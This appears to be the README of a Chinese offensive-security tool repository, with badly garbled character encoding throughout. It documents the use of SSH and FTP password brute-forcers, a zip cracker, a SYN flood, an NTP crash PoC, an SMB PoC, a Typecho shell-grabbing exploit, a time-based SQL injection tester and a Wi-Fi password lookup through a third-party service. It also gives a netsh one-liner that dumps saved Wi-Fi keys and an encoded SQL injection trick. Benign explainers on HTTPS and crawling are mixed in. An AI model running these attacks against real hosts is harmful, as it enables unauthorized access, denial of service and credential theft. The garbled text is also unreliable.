Hacking Tools Demo
Wechat Subscibe (�定时分享一些有��的东西)
Menu
| Topic | Description |
|---|---|
| 远程命令执行(RCE) | 远程命令执行(RCE) |
| attackWiFi.py | 一个获å?–wifi密ç ?的工具 |
| 图解https | 图解https |
| 图解HSTS | 图解HSTS |
| TcpPortForward.py | 端�转�tool |
| typeEchoShell.py | typeEchoShell.php |
| wifi密ç ? | 获å?–所有连接过的wifi密ç ?(Winå¹³å?°) |
| zipattack.py | zak.py |
| createDict.py | 生æˆ?一个简å?•的密ç ?ç ´è§£å—å…¸ |
| PortScan.py | 多线程端å?£æ‰«æ??器 |
| sshAttack.py | 多线程ssh密ç ?æš´åŠ›ç ´è§£ |
| ftpAttack.py | 多线程ftp密ç ?æš´åŠ›ç ´è§£ |
| synFlood.py | synFlood TCP SYN 洪水攻击 |
| ntpdenialservice.py | 一个使ntpæ‹’ç»?æœ?务的poc代ç ? |
| SQL Inject | 分享一个SQL注入的技巧 |
| attackSmb/win10.py | 一个SMB�洞的Poc |
| badtunnel-poc.rb | badtunnel 跨网段劫� |
| sqlInjetct.py | 一个延时注入的验� |
| SSRF & DNS | SSRFæ¼?æ´ž & DNSåŸŸä¼ é€?æ¼?æ´ž |
| fpm.py | Nginx(IIS7)解��洞原� |
| morse.py | 摩斯密ç ?åŠ è§£å¯† |
| crawl.py | 轻�级图片爬虫 |
| wooyun_index.py | 1000个PHP代ç ?审计案例(2016.7以å‰?乌云公开æ¼?æ´ž)---å¢žåŠ ç´¢å¼• |
| proxy_crawl/get_proxy.py & proxy_crawl/ocr_img.py | å??爬虫代ç?†æœ?务器抓å?–实现 |
| 验è¯?ç ?识别v1+HTTPå??è®®Range特性分æž?.pdf | 验è¯?ç ?识别v1+HTTPå??è®®Range特性分æž? |
| 基于机器å¦ä¹ (TensorFlow)çš„å¤?æ?‚验è¯?ç ?识别.pdf | 基于机器å¦ä¹ (TensorFlow)çš„å¤?æ?‚验è¯?ç ?识别 |
| Scrapy爬�站点数� | Scrapy爬��洞列表 |
| ip地�也�以这么表示.pdf | ip地�也�以这么表示.pdf |
| 针对跨域问题的分�.pdf | 从2.5w美刀�洞�金,针对跨域问题的分�.pdf |
| 关于TTLç”Ÿå˜æ—¶é—´.pdf | 关于TTLç”Ÿå˜æ—¶é—´.pdf |
| 为什么æ£ç¡®çš„SQLä¸?能执行.pdf | 为什么æ£ç¡®çš„SQLä¸?能执行.pdf |
| 从翻墙到使用cloudflare作为跳æ?¿æ?¥è®¿é—®vpsæŠ˜è…¾å‡ºçš„å‡ ä¸ªé—®é¢˜.pdf | 从翻墙到使用cloudflare作为跳æ?¿æ?¥è®¿é—®vpsæŠ˜è…¾å‡ºçš„å‡ ä¸ªé—®é¢˜.pdf |
| 了解一下golang汇编.md | 了解一下golang汇编.md |
| 从执行redis命令失败分�一下Pipeline,TxPipeline,Transaction,Atomic.pdf | 从执行redis命令失败分�一下Pipeline,TxPipeline,Transaction,Atomic.pdf |
| æ£ç¡®èŽ·å?–ip地å?€.md | æ£ç¡®èŽ·å?–ip地å?€.md |
远程命令执行
Remote Command/Code Execute 简称 RCE
æ¯”å¦‚è¿™ç¯‡æ–‡ç« ï¼šGogs远程命令执行æ¼?洞分æž? (https://www.anquanke.com/post/id/163575)
å¼€å?‘者在处ç?†fileåž‹session时未处ç?†å?±é™©å—ç¬¦é€ æˆ?目录穿越。
æ”»å‡»è€…é€šè¿‡ç›®å½•ç©¿è¶Šï¼Œä¼ªé€ çš„ç®¡ç?†å‘˜session,æˆ?åŠŸä¼ªé€ ç®¡ç?†å‘˜ç™»é™†,å?Žåˆ©ç”¨Git hook实现任æ„?远程命令执行。
è¿™å?ªæ˜¯Gogsé¡¹ç›®ï¼Œå› ä¸ºå…³æ³¨çš„äººå¤šï¼Œæ‰€ä»¥æ‰?被披露,实际场景ä¸å?¯èƒ½è¿˜æœ‰å¾ˆå¤šæ¡†æž¶å˜åœ¨ç±»ä¼¼æˆ–者相似问题。
比如2018年我在Beegoä¸ä¹Ÿå?‘现了类似æ¼?æ´žçš„å˜åœ¨ï¼Œå¹¶å?‘作者æ??交了一个æ¼?æ´žä¿®å¤?çš„pr (https://github.com/astaxie/beego/pull/3383)
作者也很快将修å¤?代ç ?å?ˆå¹¶åˆ°äº†ä¸»åˆ†æ”¯ã€‚
但在这之间,å?¦ä¸€ä½?安全爱好者通过我æ??交的Beego框架的æ¼?æ´žprå?‘现了æŸ?å¼€æº?在线文档管ç?†ç³»ç»Ÿä¸å˜åœ¨æ¼?洞,
�以登录未授�用户账�。(https://github.com/lifei6671/mindoc/issues/384)
而主è¦?åŽŸå› åœ¨äºŽè¿™ä¸ªå¼€æº?在线文档管ç?†ç³»ç»Ÿä½¿ç”¨äº†Beego框架,而当时的Beego框架版本ä¸è¿˜å˜åœ¨ç±»ä¼¼æ¼?洞并没有修å¤?。
在web领域的框架尤其PHP最多,这其ä¸è‚¯å®šä¹Ÿæœ‰å¾ˆå¤šé—®é¢˜ï¼Œä»¥å‰?给国产æŸ?框架æ??过一个,当时WooYun还没有关é—,
而现在WooYun所代表的白帽文化å?¯èƒ½æ°¸è¿œæ¶ˆå¤±åœ¨äº’è?”网的浪潮ä¸ã€‚
有些问题其实是一个�的安全问题,其本身�能并没有什么特别高深的技术��,但所有�的安全问题组�起�就�以��一个大的安全问题。
类似问题有很多,主�是�焦开�的往往关注安全很少,�有关注的人足够多了或者有�于分享的人或者有推动这些被公开的动力,
那些潜在的�洞�有�能被��披露。
attackWiFi.py 一个获å?–wifi密ç ?的工具
ç ´è§£åŽŸç?†ï¼š
ç ´è§£wifi万能钥匙的接å?£å??议,é?žæŠ“åŒ…æš´åŠ›ç ´è§£ï¼Œwifi万能钥匙的æœ?务端å˜å‚¨äº†å¤§é‡?çš„wifi密ç ?相关信æ?¯
通过å?‘接å?£æ??ä¾›ssidå’Œbssidä¿¡æ?¯ï¼ŒèŽ·å?–真实的wifi密ç ?
这里�感谢zke1ev3n逆�了wifi万能钥匙的安�客户端
æœ¬è„šæœ¬å®Œå–„äº†ç ´è§£ç¨‹åº?ï¼Œå¢žåŠ äº†å®¹é”™æœºåˆ¶ï¼ŒèŽ·å¾—çš„å¯†ç ?在responseä¸å…¶å®žæ˜¯urlencodeçš„ï¼Œæœ¬è„šæœ¬ä¹Ÿå¢žåŠ äº†decodeè§£ç ?
查看帮助
➜ Hacking git:(master) ✗ py attackWiFi.py -h
Usage: use:
--ssid <wifi ssid> --bssid <wifi bssid>
Example: python attackWiFi.py --ssid ssid --bssid bssid
Options:
-h, --help show this help message and exit
--ssid=WIFI_SSID the wifi ssid info
--bssid=WIFI_BSSID the wifi bssid info
ç¬¬ä¸€æ¥æ˜¯è¦?获得wifiçš„ssidå’Œbssidä¿¡æ?¯ï¼Œæˆ‘演示的环境是Mac环境,其他环境请自行寻找下获å?–ssidå’Œbssid的工具
Mac环境:
执行:airport -s 获å?–所有wifi相关信æ?¯ï¼Œè¿™é‡Œéƒ¨åˆ†ä¿¡æ?¯è¿›è¡Œäº†æ‰“ç ?:
Mac下默认airport -s 是ä¸?è¡Œçš„ï¼Œå› ä¸ºæˆ‘åœ¨æ‰§è¡Œä¹‹å‰?建过一个软链接:
ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
其他�作系统获�方��自行Google
上一æ¥èŽ·å¾—äº†ssidå’Œbssidä¿¡æ?¯
执行获å?–密ç ?:
python attackWiFi.py --ssid xxx --bssid ****
xxx 表示wifiçš„å??称:比如wifiå??å?«ï¼šhome
**** 表示wifi的bssid信�:比如 17:71:94:14:84:0d (�便写的)
那么获å?–密ç ?就是:
python attackWiFi.py --ssid home --bssid 17:71:94:14:84:0d
�功了会显示password is: xxxxxxx
也有�能会失败,貌似�务端是有check的,�作多了,会获�失败,这个时候�以�一个网络环境测试,或者�一个wifi测试
图解https
网上大部分关于https的讲解å?„å¼?å?„æ ·ï¼Œä¹Ÿä¸?易于ç?†è§£ã€‚于是自己总结画了个图,如有错误欢迎批评指æ£
1.[server] 生��对的公钥和�钥,Pub,Pri
2.[server] æœ?务器将“Pubâ€?ä¼ ç»™å®¢æˆ·ç«¯
3.[Client] 生æˆ?对称秘钥("key2"),ç„¶å?Žç”¨key2åŠ å¯†ä¿¡æ?¯
4.[Client] 使用“Pubâ€?åŠ å¯†â€œkey2â€?ã€‚å› ä¸ºå?ªæœ‰æœ?务器知é?““Priâ€?,所以“key2â€?是安全的
5.[Client] send(åŠ å¯†å?Žçš„æ•°æ?®)å’Œ(åŠ å¯†çš„å?Žçš„key2)ç»™æœ?务器
6.[Server] 用�钥“Pri�解密这个result_two,拿到“key2�
7.[Server]用“key2â€?è§£å¯†åŠ å¯†å?Žçš„æ•°æ?®result_one。数æ?®å®‰å…¨çš„到达æ?¥äº†æœ?务器。
总结:解密result_one用的key2é‡‡ç”¨å¯¹ç§°åŠ å¯†,而公钥和ç§?钥的生æˆ?则采用é?žå¯¹ç§°åР坆,
所以一个完整的httpsæµ?程应该是既包å?«äº†å¯¹ç§°åŠ å¯†ä¹ŸåŒ…å?«äº†é?žå¯¹ç§°åР坆.
图解HSTS
HSTS一定是安全的的å?—ï¼ŸåŠ©ä½ æ·±å…¥ç?†è§£HSTS的图。
TcpPortForward.py 端�转�tool
使用场景:
一:
Aæœ?åŠ¡å™¨åœ¨å†…ç½‘ï¼Œå…¬ç½‘æ— æ³•ç›´æŽ¥è®¿é—®è¿™å?°æœ?务器,但是Aæœ?务器å?¯ä»¥è?”网访问公网的Bæœ?务器(å?‡è®¾IP为222.2.2.2)。
我们也å?¯ä»¥è®¿é—®å…¬ç½‘çš„Bæœ?åŠ¡å™¨ã€‚æˆ‘ä»¬çš„ç›®æ ‡æ˜¯è®¿é—®Aæœ?务器的22端å?£ã€‚那么å?¯ä»¥è¿™æ ·ï¼š
1. 在B�务器上�行:
./TcpPortForward.py l:10001 l:10002
表示在本地监å?¬äº†10001与10002两个端å?£ï¼Œè¿™æ ·ï¼Œè¿™ä¸¤ä¸ªç«¯å?£å°±å?¯ä»¥äº’ç›¸ä¼ è¾“æ•°æ?®äº†ã€‚
2. 在A�务器上�行:
./TcpPortForward.py c:localhost:22 c:222.2.2.2:10001
表示连接本地的22端å?£ä¸ŽBæœ?务器的10001端å?£ï¼Œè¿™ä¸¤ä¸ªç«¯å?£ä¹Ÿå?¯ä»¥äº’ç›¸ä¼ è¾“æ•°æ?®äº†ã€‚
3. ç„¶å?Žæˆ‘们就å?¯ä»¥è¿™æ ·æ?¥è®¿é—®Aæœ?务器的22端å?£äº†ï¼š
ssh 222.2.2.2 -p 10002
原ç?†å¾ˆç®€å?•,这个命令执行å?Žï¼ŒBæœ?务器的10002端å?£æŽ¥æ”¶åˆ°çš„任何数æ?®éƒ½ä¼šä¼ ç»™10001端å?£ï¼Œæ¤æ—¶ï¼ŒAæœ?务器是连接了Bæœ?务器的10001端å?£çš„,
æ•°æ?®å°±ä¼šä¼ ç»™Aæœ?务器,最终进入Aæœ?务器的22端å?£ã€‚
二:
�用更多举例了,TcpPortForward.py的l与c两个�数�以进行�活的两两组�,多��务器之间���明白数��方�,那么就能满足很多场景的需求。
collect from phithon
typeEcho get Shell , typeEchoå??åº?列化æ¼?洞利用
typeEchoShell.php 为生æˆ?shell的内容,ç»?过base64å?Žåº?列化的值,å?Žç”¨äºŽtypeEchoShell.pyä¸çš„cookie一项
typeEchoShell.py 获å?–ç›®æ ‡ç«™ç‚¹shell
例:python typeEchoShell.py -u http://www.xxx.com
若�自定义shell内容,�更改typeEchoShell.php,自定义shell内容
获å?–所有连接过的wifi密ç ?(Winå¹³å?°)
需�管�员��
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
zipattack.py | zak.py zipåŠ å¯†æ–‡ä»¶æš´åŠ›ç ´è§£
帮助说明: python zipattack.py -h
测试:
zip test.zip *.gif -e
è¿›è¡Œæš´åŠ›ç ´è§£ï¼š
python zipattack.py -f test.zip -d password.txt
第二个脚本:zak.py æ˜¯æ— é™?穷举
python zak.py -h
Usage: usage -f <zipfile> -t <type> -l <length> or -h get help
Options:
-h, --help show this help message and exit
-f ZNAME specifyzip file
-t TNAME specify type(num|a|A|aA|anum|numa|Anum|aAnum)
-l LENGTH specify length,default=8
例:
python zak.py -f test.zip -t num -l 12
表示以数å—类型,长度最长为12的密ç ?枚举test.zip文件
createDict.py 生æˆ?一个简å?•的密ç ?ç ´è§£å—å…¸
python createDict.py
按ctrl+c å?œæ¢ç”Ÿæˆ?
PortScan.py 多线程端å?£æ‰«æ??器
More Help: PortScan.py -h
测试:
python PortScan.py -H www.baidu.com -p 80 443 110
➜ py python PortScan.py -H www.baidu.com -p 80 443 110
[+] Scan Results for: 119.75.218.70
Scanning port 443
Scanning port 110
Scanning port 80
[+]443/tcp open
[+] HTTP/1.1 302 Moved Temporarily
Server: bfe/1.0.8.18
Date: Sun, 06 Nov 2016 08:43:40 GMT
Content-T
[-]110/tcp closed
[-]80/tcp closed
Also, You can local test , The python script support domain or ip mode
Example:
python PortScan.py -H 127.0.0.1 -p 80
sshAttack.py 多线程ssh密ç ?æš´åŠ›ç ´è§£
测试:
➜ py python sshAttack.py -h
Usage: -H <target host> -u <user> -f <password list>
Options:
-h, --help show this help message and exit
-H TGTHOST specify target host
-f PASSWDFILE specify password file
-u USER specify the user
-c COUNT specify the max ssh connect count , default 5
py python sshAttack.py -H 192.168.2.201 -u test -f /Users/lock/1.txt -c 20
-c 用户测试指定sshé“¾æŽ¥æ•°ï¼Œå…·ä½“æ ¹æ?®ssh config 文件判æ–
例:
➜ py python sshAttack.py -H 192.168.1.100 -u root -f password.md -c 20
[-] Testing: 1111
[-] Testing: 2222
[-] Testing: 3333
[-] Testing: 111111
[-] Testing: 123123
[-] Testing: 123456
[+] Good , Key Found: 123456
ftpAttack.py 多线程ftp密ç ?æš´åŠ›ç ´è§£
测试:
➜ py python ftpAttack.py -h
Usage: -H <target host> -f <password list>
Options:
-h, --help show this help message and exit
-H TGTHOST specify target host
-f PASSWDFILE specify password file,like username:password format file
-d DELAY attack time delay set default 1s
➜ py python ftpAttack.py -H 127.0.0.1 -f userpass.md -d 1
[-] 127.0.0.1 FTP Anonymous Logon Failed.
[+] Trying: root/aaa
[-] Could not brute force FTP credentials.
[+] Trying: lock/mmm
[-] Could not brute force FTP credentials.
[+] Trying: alice/123
[-] Could not brute force FTP credentials.
The default test delay time is 0s , test default account is anonymous , if success, will show user name and password.
userpass.md is username and password file,the file format like below:
root:123
hello:456
alice:789
test:12345
synFlood.py 一个简�的 TCP SYN 洪水攻击 python版
More Detail:
python synFlood.py -h
1,用 Scapy 简å?•çš„å¤?制一个 TCP SYN 洪水攻击,将制作一些 IP æ•°æ?®åŒ…, TCP 513 ç›®æ ‡ç«¯å?£ã€‚
2,è¿?行攻击å?‘é€? TCP SYN æ•°æ?®åŒ…è€—å°½ç›®æ ‡ä¸»æœºèµ„æº?,填满它的连接队列,基本瘫 ç—ªç›®æ ‡å?‘é€? TCP é‡?置包的能力。
3,netstat -an 大�的�链接状� SYN_RECV
�能需�的�赖:
brew install --with-python libdnet
pip install scapy
pip install pcapy
pip install pydumbnet
执行效果:
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
....
ntpDenialService.py 一个使ntpæ‹’ç»?æœ?务的poc代ç ?
æž„é€ ä¸€ä¸ªç‰¹æ®Šçš„æ•°æ?®åŒ…,ntpd没有默认开å?¯trapæœ?务,如果trap被开å?¯ï¼Œæ”»å‡»è€…å°±èƒ½é€šè¿‡ç‰¹åˆ«æž„é€ çš„æ•°æ?®åŒ…导致空指针引ã€?ntpd崩溃,进而导致æœ?务器拒ç»?æœ?务。
测试:
监�本地udp 1111 端�
➜ ~ nc -l -u 0 1111
执行:
➜ Hacking git:(master) ✗ python ntpDenialService.py 127.0.0.1 1111
[-] Sending payload to 127.0.0.1:1111 ...
[+] Done!
➜ ~ nc -l -u 0 1111
6nonce, laddr=[]:Hrags=32, laddr=[]:WOP2, laddr=[]:WOP
接�到这个特殊的数�包,ntpd崩溃,形�拒��务
分享一个SQL注入的技巧
审计开�框架/cms的时候�能会�到一些有��的注入�洞
当以pdo的方å¼?连接mysql,也就是说å?¯ä»¥å¤šè¯å?¥æ‰§è¡Œçš„æ—¶å€™
然�,�考如下:
python:
import binascii
s='select * from x limit 1;'
print binascii.b2a_hex(s)
# 获得16进制数�,73656c656374202a2066726f6d2078206c696d697420313b
mysql -uroot
set @a:=0x73656c656374202a2066726f6d2078206c696d697420313b;
prepare s from @a;
execute s;
mysql root@localhost:test> execute s;
+------+----------+-------+
| id | is_reg | pid |
|------+----------+-------|
| 1 | 1 | 0 |
+------+----------+-------+
1 row in set
Time: 0.002s
attackSmb/win10.py 一个SMBæ¼?æ´žçš„Poc代ç ?
æ¤æ¼?洞主è¦?å½±å“?Windows Server 2012/2016ã€?Win8/8.1以å?ŠWin10系统。
攻击者�以模拟�一个SMB�务器,诱使客户端�起SMB请求�触��洞。
攻击者也å?¯ä»¥é€šè¿‡ä¸é—´äººæ–¹å¼?“毒化â€?SMB回应,æ?’å…¥æ?¶æ„?çš„SMB回å¤?实现拒ç»?æœ?务或控制å?—害系统。
badtunnel-poc.rb badtunnel 跨网段劫�
detail:
badtunnel-poc.rb
sqlInjetct.py 一个延时注入的验�
æ ¹æ?®è¿”回的时间差æ?¥çŒœæµ‹æ³¨å…¥çš„结果是å?¦æ£ç¡®(æ— è§†ä»£ç ?很烂)
帮助:
➜ Hacking git:(master) ✗ py sqlInjetct.py
-----Usage:-----
Example:
python sqlInject.py -u http://xxx.xxx.com/id=123
关于SSRFæ¼?æ´ž 与 DNSåŸŸä¼ é€?æ¼?æ´ž
SSRF放大以å?Žè¿˜æ˜¯å??分å?±é™©çš„,当利用SSRF刺探内网的时候,结å?ˆdict伪å??è®®å†?利用ftpå??议刺探æŸ?个ip是å?¦å˜æ´».
一般情况下如果å?¯ä»¥åœ¨æž?çŸæ—¶é—´å†…得到response那么基本å?¯ä»¥åˆ¤å®šè¯¥ipå˜æ´»ï¼Œå??之ä¸?å˜åœ¨è¯¥ip。
这个技巧也是收集过æ?¥çš„,至于为什么应该是和ftpå??议本身有关?
获得一幅内网�图SSRF是一个�错的选择。
如何判æ–SSRF:
1,SSRF是由æœ?务端å?‘èµ·çš„è¯·æ±‚ï¼Œå› æ¤åœ¨åŠ è½½å›¾ç‰‡çš„æ—¶å€™ï¼Œæ˜¯ç”±æœ?务端å?‘起的。
2,在我们本地æµ?览器的请求ä¸å°±ä¸?应该å˜åœ¨å›¾ç‰‡çš„请求,如果抓包å?¯ä»¥ç«‹å?³çœ‹åˆ°æ•ˆæžœã€‚
DNSåŸŸä¼ é€?æ¼?洞:
主域�务器A,备域�务器B,
A,B之间需è¦?备份相关的域å??,ip对应信æ?¯,
原则上å?ªæœ‰Bå?¯ä»¥åŽ»å?Œæ¥Aä¿¡æ?¯åˆ°è‡ªå·±çš„æ•°æ?®åº“ä¸ã€‚但是由于é…?置错误,
导致任�客户端�主域�起请求,主域都会把相关信�返回给客户端,内部网络�图被轻�泄露。
dig soa xxx.com
得到ANSWER SECTION:�设为:
ns3.dnsv4.com
查看是å?¦æœ‰åŸŸä¼ é€?返回:
dig axfr xxx.com @ns3.dnsv4.com
有返回就表示æ¼?æ´žå˜åœ¨
使用Pythonæž„é€ ä¸€ä¸ªfastcgiå??议请求内容å?‘é€?ç»™php-fpm , Nginx(IIS7)解æž?æ¼?洞原ç?†
查看帮助:
python fpm.py -h
è¿™ç¯‡æ–‡ç« å†™çš„ä¸?错,于是收集了过æ?¥ï¼š
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
简述如下:
Nginx和IIS7曾�出现过一个PHP相关的解��洞(测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability).
该�洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php时,访问到的文件是favicon.ico,但�按照.php�缀解�了。
用户请求http://127.0.0.1/favicon.ico/.php,nginx将会��如下环境��到fpm里:
{
...
'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',
'SCRIPT_NAME': '/favicon.ico/.php',
'REQUEST_URI': '/favicon.ico/.php',
'DOCUMENT_ROOT': '/var/www/html',
...
}
æ£å¸¸æ?¥è¯´:
SCRIPT_FILENAME的值是一个ä¸?å˜åœ¨çš„æ–‡ä»¶/var/www/html/favicon.ico/.php,
是PHP设置ä¸çš„一个选项fix_pathinfo导致了这个æ¼?洞。
PHP为了支æŒ?Path Info模å¼?è€Œåˆ›é€ äº†fix_pathinfo,在这个选项被打开的情况下,
fpm会判æ–SCRIPT_FILENAME是å?¦å˜åœ¨ï¼Œå¦‚æžœä¸?å˜åœ¨åˆ™åŽ»æŽ‰æœ€å?Žä¸€ä¸ª/å?Šä»¥å?Žçš„æ‰€æœ‰å†…容,
å†?æ¬¡åˆ¤æ–æ–‡ä»¶æ˜¯å?¦å˜åœ¨ï¼Œå¾€æ¬¡å¾ªçŽ¯ï¼Œç›´åˆ°æ–‡ä»¶å˜åœ¨ã€‚
所以,第一次fpmå?‘现/var/www/html/favicon.ico/.phpä¸?å˜åœ¨ï¼Œåˆ™åŽ»æŽ‰/.php,å†?判æ–/var/www/html/favicon.ico是å?¦å˜åœ¨ã€‚
显然这个文件是å˜åœ¨çš„,于是被作为PHP文件执行,导致解æž?æ¼?洞。
æ£ç¡®çš„解决方法有两ç§?:
一,在Nginx端使用fastcgi_split_path_infoå°†path infoä¿¡æ?¯å޻除å?Žï¼Œç”¨tryfilesåˆ¤æ–æ–‡ä»¶æ˜¯å?¦å˜åœ¨ï¼›
二,借助PHP-FPM的security.limit_extensions�置项,��其他�缀文件被解�。
morse.py 摩斯密ç ?åŠ è§£å¯†
摩斯密ç ?是由美国的三缪摩斯å?‘æ˜Žçš„ä¸€å¥—åŠ å¯†ç®—æ³•ï¼Œæ˜¯ä¸€ç§?æ–æ–ç»ç»çš„ä¿¡å?·ä»£ç ?。
åŠ å¯†ï¼š
➜ ~ python morse.py -e lock
.-.. --- -.-. -.-
解密:
➜ ~ python morse.py -d '.-.. --- -.-. -.-'
lock
➜ ~
查看帮助:
➜ ~ python morse.py
usage -e|-d msg or -h get help
crawl.py 轻�级图片爬虫
修改crawl.pyä¸:
URL = "https://www.xxx.top" # �爬�的网站
# 爬å?–çš„URL域å??范围
URL_RULE = [
'https://www.xxx.top',
'https://xxx.top',
'http://www.xxx.top',
'http://xxx.top'
]
执行爬虫:
python crawl.py
wooyun_index.py 1000个PHP代ç ?审计案例(2016.7以å‰?乌云公开æ¼?æ´ž)---å¢žåŠ ç´¢å¼•
git clone git@github.com:Xyntax/1000php.git
默认是没有索引的,所以查看æ¼?æ´žå??分ä¸?方便
1,cd 1000php
2,执行下载我的脚本:wget https://raw.githubusercontent.com/LockGit/Hacking/master/wooyun_index.py -O wooyun_index.py
3,执行:mkdir css && mkdir js
4,执行:wget https://github.com/LockGit/Hacking/raw/master/res/style.css -O style.css -P css/
5,执行:wget https://github.com/LockGit/Hacking/raw/master/res/jquery-1.4.2.min.js -O jquery-1.4.2.min.js -P js/
6,执行:python wooyun_index.py 会生æˆ?æ¼?æ´žç´¢å¼•åˆ—è¡¨ï¼Œæ¤æ—¶ä¼šç”Ÿæˆ?index.html文件,打开这个文件å?³å?¯
效果如下:
proxy_crawl/get_proxy.py | ocr_img.py å??爬虫代ç?†æœ?务器抓å?–实现方å¼?
访问:http://www.goubanjia.com/free/index.shtml å?¯çœ‹åˆ°è¯¥ç½‘ç«™æ??供了很多代ç?†æœ?务器
ä½†æ˜¯æ ¸å¿ƒçš„ä»£ç?†ipä¿¡æ?¯é‡‡ç”¨äº†å??爬虫ç–ç•¥
å?¯ä»¥çœ‹ä¸‹page结构如下é?¢å›¾ç‰‡æ??è¿°,写过爬虫的å?Œå¦çŸ¥é?“这是有æ„?混淆页é?¢ç»“æž„,è®©çˆ¬è™«æ— æ³•æŠ“å?–到æ£ç¡®ä¿¡æ?¯ï¼Œä»Žè€Œåœ¨ä¸€å®šç¨‹åº¦ä¸Šèµ·åˆ°ä¿?护作用。
写了2个py文件进行了一个å°?测试,是一个简å?•实现,代ç ?在仓库proxy_crawl目录下:
没有什么高深的技术��
æ ¸å¿ƒåŽŸç?†æ˜¯é€šè¿‡selenium唤醒chrome打开待抓å?–页é?¢ï¼Œç„¶å?Žç¨‹åº?自动对æ¯?一页内容进行截图,ä¿?å˜åœ¨proxy_crawl/img下é?¢(如下图)
之å?Žé€šè¿‡pytesseract对抓å?–åˆ°çš„å›¾ç‰‡è¿›è¡Œè¯†åˆ«ï¼Œç›´æŽ¥æ— è§†å‰?端页é?¢çš„æ··æ·†
pytesseract模å?—å?¯ä»¥å°?试下,国外还有大神用js实现了这个模å?—,支æŒ?62ç§?è¯è¨€æµ?览器端的识别,当然,也是需è¦?模型数æ?®æ”¯æŒ?çš„
一般还å?¯ä»¥è¯†åˆ«ä¸€ä¸‹ç®€å?•的验è¯?ç ?,但是å¤?æ?‚çš„ä¸?行,太过å¤?æ?‚çš„å?¯èƒ½éœ€è¦?比如tensorflow+cnn,网上也有案例
清洗数æ?®å¹¶è®°å½•到proxy_crawl/proxy.md文件ä¸
环境:python 2.7.14 , 模å?—å?¯ä»¥è‡ªå·±çœ‹ä¸‹ py 文件代ç ?,pip install 下所用到的模å?—
执行:python get_proxy.py 抓�图片
执行:python ocr_img.py 代�数�识别
验è¯?ç ?识别v1+HTTPå??è®®Range特性分æž?
Google æ?œç´¢ tesseract.js å—符识别
总结文档:+ 验è¯?ç ?识别v1+HTTPå??è®®Range特性分æž?.pdf
HTTPå??è®®Range特性分æž?(多线程文件下载器实现):
基于机器å¦ä¹ (TensorFlow)çš„å¤?æ?‚验è¯?ç ?识别
è¿?用机器å¦ä¹ 算法时,如果ä¸?ç?†è§£å®žçŽ°åŽŸç?†ï¼Œå…ˆå¥—接å?£å…ˆå®žçŽ°åŠŸèƒ½ï¼Œè¯†åˆ«ç®—æ³•æ˜¯é€šç”¨çš„ã€‚ä¸€èˆ¬å¤„ç?†ä¸?å?ŒéªŒè¯?ç ?,有ä¸?å?Œçš„处ç?†ç–略。
分类算法举例:(具体:https://github.com/LockGit/Py)
01,knn (k点邻近算法)
02,svm(支æŒ?å?‘é‡?机,å??分å¤?æ?‚)
...
SVM算法相比较KNN算法�说,原�上�����的多,SVM算法基本�想是把数�转化为点,
é€šè¿‡æŠŠç‚¹æ˜ å°„åˆ°n维空间上,通过n-1维的超平é?¢åˆ‡å‰²ï¼Œæ‰¾åˆ°æœ€ä½³åˆ‡å‰²è¶…å¹³é?¢ï¼Œ
通过判æ–点在超平é?¢çš„哪一边,æ?¥åˆ¤æ–点属于哪一类å—符。
基于机器å¦ä¹ 的验è¯?ç ?识别则是把è¦?识别的对象当å?šä¸€ä¸ªæ•´ä½“。
选择0-9纯数å—,CNN网络4*10个输出,å¦ä¹ 时间:70分钟,模型准确率:99%
验è¯?ç ?预测截图:
总结文档:+ 基于机器å¦ä¹ (TensorFlow)çš„å¤?æ?‚验è¯?ç ?识别.pdf














